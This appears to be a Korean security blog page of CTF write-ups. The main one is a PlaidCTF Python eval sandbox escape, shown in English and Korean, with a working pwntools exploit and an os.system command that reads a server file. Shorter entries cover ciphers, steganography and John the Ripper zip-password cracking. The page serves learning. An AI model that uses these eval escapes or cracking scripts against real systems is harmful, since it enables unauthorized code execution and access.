Write-up/Misc (+ Forensic, Stegano)

can you guess me (100 pts)


Here's the source to a guessing game: here
You can access the server at
nc canyouguessme.pwni.ng 12349


The challenge itself is a simple Python Sandbox Escape. The source of the challenge is shown below.


from sys import exit
from secret import secret_value_for_password, flag, exec

print(r"")
print(r"")
print(r"  ____         __   __           ____                     __  __       ")
print(r" / ___|__ _ _ _\ \ / /__  _   _ / ___|_   _  ___  ___ ___|  \/  | ___  ")
print(r"| |   / _` | '_ \ V / _ \| | | | |  _| | | |/ _ \/ __/ __| |\/| |/ _ \ ")
print(r"| |__| (_| | | | | | (_) | |_| | |_| | |_| |  __/\__ \__ \ |  | |  __/ ")
print(r" \____\__,_|_| |_|_|\___/ \__,_|\____|\__,_|\___||___/___/_|  |_|\___| ")
print(r"                                                                       ")
print(r"")
print(r"")

try:
    val = 0
    inp = input("Input value: ")
    count_digits = len(set(inp))
    if count_digits <= 10:          # Make sure it is a number
        val = eval(inp)
    else:
        raise

    if val == secret_value_for_password:
        print(flag)
    else:
        print("Nope. Better luck next time.")
except:
    print("Nope. No hacking.")
    exit(1)


It takes input from the user and executes it through eval (inp). There are restrictions on the maximum of 10 unique characters used for input.


The eval() function, which is Built-in Functions of python, returns the result of executing python for the input string. Built-in Functions function exec(), which operates likeeval(), is imported from secret and can not be used.



  ____         __   __           ____                     __  __       
 / ___|__ _ _ _\ \ / /__  _   _ / ___|_   _  ___  ___ ___|  \/  | ___  
| |   / _` | '_ \ V / _ \| | | | |  _| | | |/ _ \/ __/ __| |\/| |/ _ \
| |__| (_| | | | | | (_) | |_| | |_| | |_| |  __/\__ \__ \ |  | |  __/
 \____\__,_|_| |_|_|\___/ \__,_|\____|\__,_|\___||___/___/_|  |_|\___|


Input value: exec("1+1")

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@                                      @@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@   @@@@@@@@@@@@@  @@@@@@@@@    %@@@@@@@@@        @@@@@@@@@@@@@@@@
@@@@@@@@@@@@  @@@@@@@@@@  @@@@@@@        @@@@@@@@@@@@@@@@@@@@@@    @@@@@@@@@@@@
@@@@@@@@@@%  @@@@@@@@ @@@, @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@   @@@@@@@@@
@@@@@@@@@  @@@@@@@ @@@ @@  @@@@@@@@@@@ @@@@@@@@@@% (@@@@@@@ (@@@@@@@@  (@@@@@@@
@@@@@@@@  @@@@@@@@@@@@*@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@ @@@@@@@  @@@@@@@
@@@@@@@  @@@@@@@@@@@@@@@@@@        @@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@  @@@@@@@
@@@@@*  @@@@@@@@@@@@@@@          @@    @@@@@@@@@@@&@@#       @@@@@@@@@@   @@@@@
@@@   ,@@&(%@@@@@ @@@              @@@@  @@@@@@@@@             @     .@@@   @@@
@&  @@@@@@      @@@@@@@@@@@@@ @@@@@     @@@@@@@,     #@@@@@@@@@@@@@@@@@@ @@  @@
  @.@@@   @@@@@@     @@@@#   @@@@@@@@@@@@@@@@@@@@  @@@@@@@@@@@@@     %@@&@ @  @
 @@ @@  @@@@@  @@@@@@@%,(@@@@@@@@@@@@@@@@@@@@@@@@. @@@@@@@      .@@@@  @ @@@  @
 @@ @@ @@@@@      @@@@@@@@@@@@@@@@ @@   @@@@@@@@@@@   @@@@@@@@@@@( @@@@@@@@@  @
 @@ @@  @     @@@@    (@@@@@(@@@@@@  @@@@@@@@@@@@@@@@    @@@@@@@@   @@@ @@   @@
  @@@@* @@@@@  @@@@@@       @@@@@@@  @@      @@@@@@@  @ @@@ @@@@    @@@@ @  @@@
@  @@ @@@@@@@     @@@@ @@@@@       @@@@@@@@@@@@     @@@@@@@@@@       @@@@  @@@@
@@   ,@@@@@@@@@  @       @@@@@@@@          @@@@@@@@@@@@@@       @    @@@@  @@@@
@@@@   @@@@@@@@@  @@@        @@@@  @@@@@@@@             @@  @@@  @   @@@@ @@@@@
@@@@@@  @@@@@@@@@@  @@  @@         @@@@@@@@  @@@@@, @@@@@@  @@       @@@@ @@@@@
@@@@@@@  @@@@@@@@@@    @@@@@@@@                                      @@@@ @@@@@
@@@@@@@@  @@@@@@@@@@@(  @@@@@@@@ @@@@@                               @@@& @@@@@
@@@@@@@@@/  @@@@@@@@@@@@   @@@@  @@@@@@@@@ @@@@,               &    @@@@@ @@@@@
@@@@@@@@@@@   @@@@@@@@@@@@@     @@@@@@@@@@ @@@@@@% @@@@  @@* ,@    @@@@@@ @@@@@
@@@@@@@@@@@@@   @@@ @@@@ @@@@@@      @@@@  @@@@@@  @@@  ,@@      @@@@@@@@ @@@@@
@@@@@@@@@@@@@@@@   %@@@ @@@@ @@@@@@@@@@                   .@@@@@@@@@@@@@@ @@@@@
@@@@@@@@@@@@@@@@@@@    @@@@ *@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@ @@@@@
@@@@@@@@@@@@@@@@@@@@@@@    .@@@@@ %@@@@  /@@@@@@@@@@@@@@@@@@@ @@@@@@.@@@@  @@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@&    @@@@@@@@@/  @@@@@@@@@@@@@@@@@@@@@. @@@@@@  @@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@    @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  @@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@      @@@@@@@@@@@@@@@@@@@@@@@@@@@@@  @@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@        @@@@@@@@@@@@@@@@@@   @@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

Nope. No hacking.


Therefore, we can not use exec(). Since the character constraint is 10 characters, we can use the chr()function and 1 + 1 to create all the characters.

Number of unique characters currently used: 7


>>> chr(1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1)
'#'
>>> chr(1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1)+chr(1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1)+chr(1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1)
'###'
>>> len(set("chr(1+1+1)"))
7
>>>


Now create a print(flag) string and enclose it in the eval() function, and a flag will be printed. However, if you use eval() here, the character type is exceeded.


>>> inp = "eval(chr(11+11+11+11+11+11+11+11+11+1+1+1+1+1+1+1+1+1)+chr(111+1+1+1+1))"
>>> eval(inp)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<string>", line 1, in <module>
  File "<string>", line 1, in <module>
NameError: name 'ls' is not defined
>>> len(set(inp))
11
>>>


Since the unique characters is 11, it is necessary to reduce the unique character by one. Using exec instead of eval solves the problem, but as you can see above, you can not use exec. You then need to use eval but reduce the unique characters that exist.

Here we can look at eval and think of the variable val.


try:
    val = 0     # val
    inp = input("Input value: ")
    count_digits = len(set(inp))
    if count_digits <= 10:          # Make sure it is a number
        val = eval(inp)
    else:
        raise

Where the value of val is 0. However, you can use the all function to create a value of TrueTrue can be used as 1.

>>> all(chr(val))
True
>>> inp = "eval(chr(all(chr(val)))+chr(all(chr(val))))"
>>> eval(inp)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<string>", line 1, in <module>
  File "<string>", line 1

    ^
SyntaxError: invalid syntax
>>> len(set(inp))
10
>>>


It is wonderful !! The unique characters used is just 10. Now you can run the following command: print(flag)

You can create the explotit code below.


from pwn import *

conn = remote("canyouguessme.pwni.ng", 12349)

def make_payload(command):
	payload  = "eval("
	for i in command:
		payload += "chr("
		for j in range(0, ord(i)):
			payload += "all(chr(val))+"
		payload = payload[:-1]
		payload += ")+"
	payload = payload[:-1]
	payload  += ")"
	return payload


conn.recvuntil("Input value: ")
payload = make_payload("print(flag)")
conn.sendline(payload)

conn.interactive()


You can get the flag by executing the above code.


[+] Opening connection to canyouguessme.pwni.ng on port 12349: Done
[*] Switching to interactive mode
PCTF{hmm_so_you_were_Able_2_g0lf_it_down?_Here_have_a_flag}
Nope. Better luck next time.
[*] Got EOF while reading in interactive
$  


In addition, you can run  __import__("os").system("cat /home/guessme/secret.py")  to see  secret.py  as a whole.




unintend solution

After the competition, I realized that there was an unintend solution through other people's write-ups. help(flag) and print(vars()) both consist of less than 10 unique characters.


help(flag)


  ____         __   __           ____                     __  __       
 / ___|__ _ _ _\ \ / /__  _   _ / ___|_   _  ___  ___ ___|  \/  | ___  
| |   / _` | '_ \ V / _ \| | | | |  _| | | |/ _ \/ __/ __| |\/| |/ _ \
| |__| (_| | | | | | (_) | |_| | |_| | |_| |  __/\__ \__ \ |  | |  __/
 \____\__,_|_| |_|_|\___/ \__,_|\____|\__,_|\___||___/___/_|  |_|\___|



Input value: help(flag)
No Python documentation found for 'PCTF{hmm_so_you_were_Able_2_g0lf_it_down?_Here_have_a_flag}'.
Use help() to get the interactive help utility.
Use help(str) for help on the str class.

Nope. Better luck next time.


print(vars())


  ____         __   __           ____                     __  __       
 / ___|__ _ _ _\ \ / /__  _   _ / ___|_   _  ___  ___ ___|  \/  | ___  
| |   / _` | '_ \ V / _ \| | | | |  _| | | |/ _ \/ __/ __| |\/| |/ _ \
| |__| (_| | | | | | (_) | |_| | |_| | |_| |  __/\__ \__ \ |  | |  __/
 \____\__,_|_| |_|_|\___/ \__,_|\____|\__,_|\___||___/___/_|  |_|\___|



Input value: print(vars())
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f3fb742e9e8>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': '/home/guessme/can-you-guess-me.py', '__cached__': None, 'exit': <built-in function exit>, 'secret_value_for_password': 'not even a number; this is a damn string; and it has all 26 characters of the alphabet; abcdefghijklmnopqrstuvwxyz; lol', 'flag': 'PCTF{hmm_so_you_were_Able_2_g0lf_it_down?_Here_have_a_flag}', 'exec': <function exec at 0x7f3fb7377158>, 'val': 0, 'inp': 'print(vars())', 'count_digits': 10}
Nope. Better luck next time.


'Write-up > Misc (+ Forensic, Stegano)' 카테고리의 다른 글

[PlaidCTF] can you guess me  (0) 2019.04.15
[RITSEC2018] What_Th._Fgck writeup  (0) 2018.11.19
[RITSEC2018] RIP writeup  (0) 2018.11.19
[ISITDTU 2018] Play With ... Write-up  (0) 2018.07.30
[ISITDTU 2018] Drill Write-up  (0) 2018.07.30

[PlaidCTF] can you guess me

2019. 4. 15. 14:00

can you guess me (100 pts)


Here's the source to a guessing game: here
You can access the server at
nc canyouguessme.pwni.ng 12349


문제자체는 간단한 Python Sandbox Escape문제이다. 문제를 소스를 살펴보면 아래와 같다.


from sys import exit
from secret import secret_value_for_password, flag, exec

print(r"")
print(r"")
print(r"  ____         __   __           ____                     __  __       ")
print(r" / ___|__ _ _ _\ \ / /__  _   _ / ___|_   _  ___  ___ ___|  \/  | ___  ")
print(r"| |   / _` | '_ \ V / _ \| | | | |  _| | | |/ _ \/ __/ __| |\/| |/ _ \ ")
print(r"| |__| (_| | | | | | (_) | |_| | |_| | |_| |  __/\__ \__ \ |  | |  __/ ")
print(r" \____\__,_|_| |_|_|\___/ \__,_|\____|\__,_|\___||___/___/_|  |_|\___| ")
print(r"                                                                       ")
print(r"")
print(r"")

try:
    val = 0
    inp = input("Input value: ")
    count_digits = len(set(inp))
    if count_digits <= 10:          # Make sure it is a number
        val = eval(inp)
    else:
        raise

    if val == secret_value_for_password:
        print(flag)
    else:
        print("Nope. Better luck next time.")
except:
    print("Nope. No hacking.")
    exit(1)


사용자로부터 입력을 받아 이를 eval(inp)를 통해 실행시켜줍니다. 이 때 입력에 사용된 문자의 종류는 10개이하라는 제약이 있습니다.


python의 Built-in Functions인 eval()함수는 입력값으로 들어온 문자열을 python에서 실행한 결과값을 반환해줍니다. eval()과 같은 동작을 하는 Built-in Functions함수인 exec()는 secret에서 import되어 사용할 수 없습니다.



  ____         __   __           ____                     __  __       
 / ___|__ _ _ _\ \ / /__  _   _ / ___|_   _  ___  ___ ___|  \/  | ___  
| |   / _` | '_ \ V / _ \| | | | |  _| | | |/ _ \/ __/ __| |\/| |/ _ \
| |__| (_| | | | | | (_) | |_| | |_| | |_| |  __/\__ \__ \ |  | |  __/
 \____\__,_|_| |_|_|\___/ \__,_|\____|\__,_|\___||___/___/_|  |_|\___|


Input value: exec("1+1")

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@                                      @@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@   @@@@@@@@@@@@@  @@@@@@@@@    %@@@@@@@@@        @@@@@@@@@@@@@@@@
@@@@@@@@@@@@  @@@@@@@@@@  @@@@@@@        @@@@@@@@@@@@@@@@@@@@@@    @@@@@@@@@@@@
@@@@@@@@@@%  @@@@@@@@ @@@, @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@   @@@@@@@@@
@@@@@@@@@  @@@@@@@ @@@ @@  @@@@@@@@@@@ @@@@@@@@@@% (@@@@@@@ (@@@@@@@@  (@@@@@@@
@@@@@@@@  @@@@@@@@@@@@*@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@ @@@@@@@  @@@@@@@
@@@@@@@  @@@@@@@@@@@@@@@@@@        @@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@  @@@@@@@
@@@@@*  @@@@@@@@@@@@@@@          @@    @@@@@@@@@@@&@@#       @@@@@@@@@@   @@@@@
@@@   ,@@&(%@@@@@ @@@              @@@@  @@@@@@@@@             @     .@@@   @@@
@&  @@@@@@      @@@@@@@@@@@@@ @@@@@     @@@@@@@,     #@@@@@@@@@@@@@@@@@@ @@  @@
  @.@@@   @@@@@@     @@@@#   @@@@@@@@@@@@@@@@@@@@  @@@@@@@@@@@@@     %@@&@ @  @
 @@ @@  @@@@@  @@@@@@@%,(@@@@@@@@@@@@@@@@@@@@@@@@. @@@@@@@      .@@@@  @ @@@  @
 @@ @@ @@@@@      @@@@@@@@@@@@@@@@ @@   @@@@@@@@@@@   @@@@@@@@@@@( @@@@@@@@@  @
 @@ @@  @     @@@@    (@@@@@(@@@@@@  @@@@@@@@@@@@@@@@    @@@@@@@@   @@@ @@   @@
  @@@@* @@@@@  @@@@@@       @@@@@@@  @@      @@@@@@@  @ @@@ @@@@    @@@@ @  @@@
@  @@ @@@@@@@     @@@@ @@@@@       @@@@@@@@@@@@     @@@@@@@@@@       @@@@  @@@@
@@   ,@@@@@@@@@  @       @@@@@@@@          @@@@@@@@@@@@@@       @    @@@@  @@@@
@@@@   @@@@@@@@@  @@@        @@@@  @@@@@@@@             @@  @@@  @   @@@@ @@@@@
@@@@@@  @@@@@@@@@@  @@  @@         @@@@@@@@  @@@@@, @@@@@@  @@       @@@@ @@@@@
@@@@@@@  @@@@@@@@@@    @@@@@@@@                                      @@@@ @@@@@
@@@@@@@@  @@@@@@@@@@@(  @@@@@@@@ @@@@@                               @@@& @@@@@
@@@@@@@@@/  @@@@@@@@@@@@   @@@@  @@@@@@@@@ @@@@,               &    @@@@@ @@@@@
@@@@@@@@@@@   @@@@@@@@@@@@@     @@@@@@@@@@ @@@@@@% @@@@  @@* ,@    @@@@@@ @@@@@
@@@@@@@@@@@@@   @@@ @@@@ @@@@@@      @@@@  @@@@@@  @@@  ,@@      @@@@@@@@ @@@@@
@@@@@@@@@@@@@@@@   %@@@ @@@@ @@@@@@@@@@                   .@@@@@@@@@@@@@@ @@@@@
@@@@@@@@@@@@@@@@@@@    @@@@ *@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@ @@@@@
@@@@@@@@@@@@@@@@@@@@@@@    .@@@@@ %@@@@  /@@@@@@@@@@@@@@@@@@@ @@@@@@.@@@@  @@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@&    @@@@@@@@@/  @@@@@@@@@@@@@@@@@@@@@. @@@@@@  @@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@    @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  @@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@      @@@@@@@@@@@@@@@@@@@@@@@@@@@@@  @@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@        @@@@@@@@@@@@@@@@@@   @@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

Nope. No hacking.


그러므로 우리는 exec()는 사용할 수 없습니다. 문자제약이 10자있으므로 우리는 chr()함수와 1+1을 사용해 통해 모든 문자들을 만들수있습니다.


현재 사용된 문자종류갯수 : 7


>>> chr(1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1)
'#'
>>> chr(1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1)+chr(1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1)+chr(1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1)
'###'
>>> len(set("chr(1+1+1)"))
7
>>>


이제 print(flag) 문자열을 만들어 eval()함수로 감싸주면 flag가 출력될 것입니다. 그러나 여기서 eval()을 사용하면 글자종류가 초과됩니다.


>>> inp = "eval(chr(11+11+11+11+11+11+11+11+11+1+1+1+1+1+1+1+1+1)+chr(111+1+1+1+1))"
>>> eval(inp)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<string>", line 1, in <module>
  File "<string>", line 1, in <module>
NameError: name 'ls' is not defined
>>> len(set(inp))
11
>>>


글자종류가 11이기 때문에 글자종류를 1개 줄일 필요가 있습니다. eval대신 exec를 사용하면 문제가 해결되지만, 위에서 봤다시피 exec는 사용할 수 없습니다. 그러면 eval을 사용하되 존재하는 문자종류를 줄일 필요가 있습니다.


여기서 우리는 eval을 보고 val라는 변수가 있었다는 것을 떠올릴 수 있습니다.


try:
    val = 0
    inp = input("Input value: ")
    count_digits = len(set(inp))
    if count_digits <= 10:          # Make sure it is a number
        val = eval(inp)
    else:
        raise


여기서 val의 값은 0입니다. 그러나 all함수를 사용하면 True라는 값을 만들어낼 수 있습니다. True는 1로 사용할 수 있습니다.


>>> all(chr(val))
True
>>> inp = "eval(chr(all(chr(val)))+chr(all(chr(val))))"
>>> eval(inp)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<string>", line 1, in <module>
  File "<string>", line 1

    ^
SyntaxError: invalid syntax
>>> len(set(inp))
10
>>>


멋집니다!! 쓸 수 있는 문자종류가 딱 10이 되었습니다. 이제 다음 커맨드를 실행할 수 있습니다. print(flag)

아래와 같은 exploit code를 작성할 수 있습니다.


from pwn import *

conn = remote("canyouguessme.pwni.ng", 12349)

def make_payload(command):
	payload  = "eval("
	for i in command:
		payload += "chr("
		for j in range(0, ord(i)):
			payload += "all(chr(val))+"
		payload = payload[:-1]
		payload += ")+"
	payload = payload[:-1]
	payload  += ")"
	return payload


conn.recvuntil("Input value: ")
payload = make_payload("print(flag)")
conn.sendline(payload)

conn.interactive()


위 코드를 실행하면 아래와 같이 플래그를 획득 할 수 있습니다.


[+] Opening connection to canyouguessme.pwni.ng on port 12349: Done
[*] Switching to interactive mode
PCTF{hmm_so_you_were_Able_2_g0lf_it_down?_Here_have_a_flag}
Nope. Better luck next time.
[*] Got EOF while reading in interactive
$  


추가로 __import__("os").system("cat /home/guessme/secret.py") 와 같이 커맨드를 실행하면 secret.py를 통째로 볼 수 있습니다. 



 unintend solution


대회가 끝난 후, 다른 사람들의 write-up을 통해 unintend solution이 있다는 것을 알았습니다. help(flag)나 print(vars())는 둘다 10종류 미만의 문자로 이루어져있습니다.


두 커맨드를 입력하면 flag를 얻을 수 있습니다.


help(flag)


  ____         __   __           ____                     __  __       
 / ___|__ _ _ _\ \ / /__  _   _ / ___|_   _  ___  ___ ___|  \/  | ___  
| |   / _` | '_ \ V / _ \| | | | |  _| | | |/ _ \/ __/ __| |\/| |/ _ \
| |__| (_| | | | | | (_) | |_| | |_| | |_| |  __/\__ \__ \ |  | |  __/
 \____\__,_|_| |_|_|\___/ \__,_|\____|\__,_|\___||___/___/_|  |_|\___|



Input value: help(flag)
No Python documentation found for 'PCTF{hmm_so_you_were_Able_2_g0lf_it_down?_Here_have_a_flag}'.
Use help() to get the interactive help utility.
Use help(str) for help on the str class.

Nope. Better luck next time.


print(vars())


  ____         __   __           ____                     __  __       
 / ___|__ _ _ _\ \ / /__  _   _ / ___|_   _  ___  ___ ___|  \/  | ___  
| |   / _` | '_ \ V / _ \| | | | |  _| | | |/ _ \/ __/ __| |\/| |/ _ \
| |__| (_| | | | | | (_) | |_| | |_| | |_| |  __/\__ \__ \ |  | |  __/
 \____\__,_|_| |_|_|\___/ \__,_|\____|\__,_|\___||___/___/_|  |_|\___|



Input value: print(vars())
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f3fb742e9e8>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': '/home/guessme/can-you-guess-me.py', '__cached__': None, 'exit': <built-in function exit>, 'secret_value_for_password': 'not even a number; this is a damn string; and it has all 26 characters of the alphabet; abcdefghijklmnopqrstuvwxyz; lol', 'flag': 'PCTF{hmm_so_you_were_Able_2_g0lf_it_down?_Here_have_a_flag}', 'exec': <function exec at 0x7f3fb7377158>, 'val': 0, 'inp': 'print(vars())', 'count_digits': 10}
Nope. Better luck next time.




와 이건... 무슨 미궁 문제인줄 ;;


큰 CTF 대회에선 나올 것 같지않은 유형이지만.. 뭐 이런것도 있다~ 싶은 정도로 적어둔다.

문제는 아래와 같다.


OGK:DI_G;lqk"Kj1;"a"yao";fr3dog0o"vdtnsaoh"patsfk{+

Author: hulto 


이렇다.


처음에는 치환암호처럼 다뤄봣다 (그도 그럴게 OGK:DI_ 이 부분을 RITSEC로 바꾸면 딱맞아떨어진다.)

그런데 시간이 너무 오래걸렸고, 너무 단서가 적었다 ㅡㅡ;


그래서 결국 못풀었는데;; 이게 드보락(DVORAK) 키보드로 친거라서 그렇다.

쿼티(QWERTY) 키보드에서 치는걸로 바꿔주면 플래그가 나온다...


http://wbic16.xedoloh.com/dvorak.html

'Write-up > Misc (+ Forensic, Stegano)' 카테고리의 다른 글

[PlaidCTF] can you guess me (ver. English)  (1) 2019.04.15
[PlaidCTF] can you guess me  (0) 2019.04.15
[RITSEC2018] RIP writeup  (0) 2018.11.19
[ISITDTU 2018] Play With ... Write-up  (0) 2018.07.30
[ISITDTU 2018] Drill Write-up  (0) 2018.07.30

[RITSEC2018] RIP writeup

2018. 11. 19. 19:43

오랜만에 쓰는 Misc 분야 write up이다.


사실 문제는 크게 어려운건 없고, misc에 자주나오는 난해한 프로그래밍 언어의 하나이다.

문제는 아래와 같다.


+[----->+++<]>+.++++++++++++..----.+++.+[-->+<]>.-----------..++[--->++<]>+...---[++>---<]>.--[----->++<]>+.----------.++++++.-.+.+[->+++<]>.+++.[->+++<]>-.--[--->+<]>-.++++++++++++.--.+++[->+++++<]>-.++[--->++<]>+.-[->+++<]>-.--[--->+<]>-.++[->+++<]>+.+++++.++[->+++<]>+.----[->++<]>.[-->+<]>++.+++++++++.--[------>+<]>.--[-->+++<]>--.+++++++++++++.----------.>--[----->+<]>.-.>-[--->+<]>--.++++.---------.-.

Author: oneNutW0nder 


brainfuck 언어로 작성된 코드가 주어지는데... 이것까진 익숙하다. 

brainfuck interpreter로 실행시켜보면 youtube url이 나오는데... 별 상관없는 내용이다.


주어진 문제가 중요하다. 아래와 같은 png파일이 주어진다.

문제풀때는 몰랐는데 piet라는 난해한 프로그래밍 언어중 하나라고 한다. (https://esolangs.org/wiki/Piet)



가운데 있는 스탠리 공룡을 지워주고, piet 인터프리터로 해석하면된다.

https://www.bertnase.de/npiet/npiet-execute.php








https://www.bertnase.de/npiet/npiet-execute.php








알수 없는 파일이 하나 주어집니다.

이름이 basic_crypto이고 hex값이 FF값이 많은것으로 보아, 일단 한번 0xFF값과 단일XOR해보았습니다.


1
2
3
4
5
6
7
8
9
10
11
= open("basic_crypto","r")
basic_crypto = f.read()
f.close()
 
basic_decrypt=""
for i in basic_crypto:
        basic_decrypt += chr(ord(i)^0xFF)
 
= open("decrypt_png.png","w")
f.write(basic_decrypt)
f.close()
cs


결과값으로 png파일이 하나 나왓습니다.



내용을 살펴보면 아래와 같습니다.



too low랍니다. 처음에는 뭔가 했는데;

세로 길이가 너무 낮다~라는 건가봅니다.


일단 한번 세로길이를 늘려봣더니 아래와 같이 나와서 깨닫...


먼가 뒤집혀있어서 뒤집어줍시다.



알파벳 대문자 26자와 숫자 조금이 섞여나와있습니다.

이미지라서 보기힘드니 OCR로 txt로 바꿔줬습니다.


ORC


대충 보니 BASE32 디코딩을 통해 풀 수 있을거같아

BASE32 디코딩을 수행하였습니다.



플래그를 찾았습니다!




++ 다른 사람 writeup을 통해 Multisolver라는 괜찮은 웹사이트를 찾았습니다.

한 암호에 대하여 여러가지 암호디코딩을 수행하여 보여줍니다... 굉장..


quipqiup.com와 같이 매우 좋은 툴!






[ISITDTU 2018] Drill Write-up

2018. 7. 30. 16:11


이런 파일이 주어진다. 헥스값을 텍스트로 그대로 옮긴것같다. 다시 헥스값으로해서 넣어주자


1
2
3
4
5
6
7
8
9
= open("drill","r")
drill = f.read()
f.close()
 
print(drill)
 
= open("drill_hex","w")
f.write(drill.decode("hex"))
f.close()
cs


이렇게하면 된다. 조금 더 간단하게 하는 방법으로 $ xxd -r -p drill > drill_hex 를 커맨드로 실행해도 된다.



file로 보면 뭔가 나올 줄 알았는데... 그냥 data라고 합니다.

binwalk로 탐색해보니, zip파일의 끝이 발견되었습니다.



살펴보니 Zip파일의 헤더부분이 빠져있어, 추가해주었습니다. ("\x50\x4B\x03\x04")



압축을 풀려하니 패스워드를 대라길래; John The Ripper을 이용해서 풀어줫습니다.

첫번째 암호는 "brandon1"입니다.


그랬더니 499.zip이 나왔습니다...

예상으로는 499~0까지 zip이 있을거같아, 파이썬으로 자동화시켜 John The Ripper로 풀었더니



237.zip부터는 오류가 뜨면서 풀리지않습니다.

그래서 지금까지 나온 패스워드를 구글에 검색하여 Passwordlist를 얻을 수 잇었고, 이를 이용해서 풀었습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import os
import string
from subprocess import Popen, PIPE
 
path = "/home/sherlock/workstation/crytoTool/JohnTheRipper/run/"
 
password_list=""
def john(zip):
    global password_list
    cmd = "/home/sherlock/workstation/crytoTool/JohnTheRipper/run/zip2john "
    cmd += zip
    cmd += " > zip.hash"
    os.system(cmd)
    
    cmd = "/home/sherlock/workstation/crytoTool/JohnTheRipper/run/john -w:passwordlist_ph4.txt zip.hash"
    
    popen = Popen(cmd, shell=True, stdout=PIPE)
    output, error = popen.communicate()
    
    password = (output.split("\n")[1]).split("(")[0].strip()
    password_list += ", "+password
    cmd = "rm /home/sherlock/workstation/crytoTool/JohnTheRipper/run/john.pot"
    os.system(cmd)
    return password
    
cmd = "unzip -P "
password = "brandon1"
 
for i in range(237,0,-1):
    zip = str(i)+".zip"
    password = john(zip)
    os.system(cmd+password+" "+zip)
    #exit(1)
print(password_list)
 
cs


찾아보니 rockyou wordlist라고 패스워드 리스트가 따로 있더군여...

파일용량이 무려 130MB나 합니다.... 다운


아무튼 그렇게해서 마지막 0.zip의 압축을 풀면 아래와 같은 것들을 얻을 수 잇습니다.



key.png는 스테가노그래피로 key가 숨겨져있을 거 같습니다.




확실히! Stegsolve 를 이용해서 Red비트만 추출해보니 모스부호와 비슷한 것이 나왔습니다.


모스부호를 해독하면 "keyisonlyforluckyhunters"가 나오고, 이를 통해 zip압축을 풀고 flag를 얻을 수 잇습니다.



참고:

zsteg를 사용하면 더 간단합니다.


이건 다른 예시~




이번 MeePwnCTF하면서 롸이트업씁니당..


오랜만에 CTF를 해서 인지 상당히 열심히했고, 재미있었습니다.



이미지파일(jpg)을 하나 줍니다. 명탐정 코난의 만화책 표지같은데... 명탐정 코난을 아직까지 읽고 있어서 참 반가웠습니다(?)

(그리고 저 상황이 지금 무슨 상황인지도 알고 있습니당 ㅋㅋㅋ)



아무튼... 그냥 저 사진만으로는 뭘 알수가 없습니다...



binwalk를 통해 알아보니 End of Zip archive가 발견되었습니다.


끝은 있는데... Zip헤더를 못찾아서 hxd로 직접 찾아보았습니다.

jpg의 끝을 나타내는 FF D9 뒤에 보니 PK로 압축파일의 헤더가 보입니당




그런데 헤더파일의 시그니처가 약간 변조되있어서 binwalk로 탐색되지않은것같습니다. 

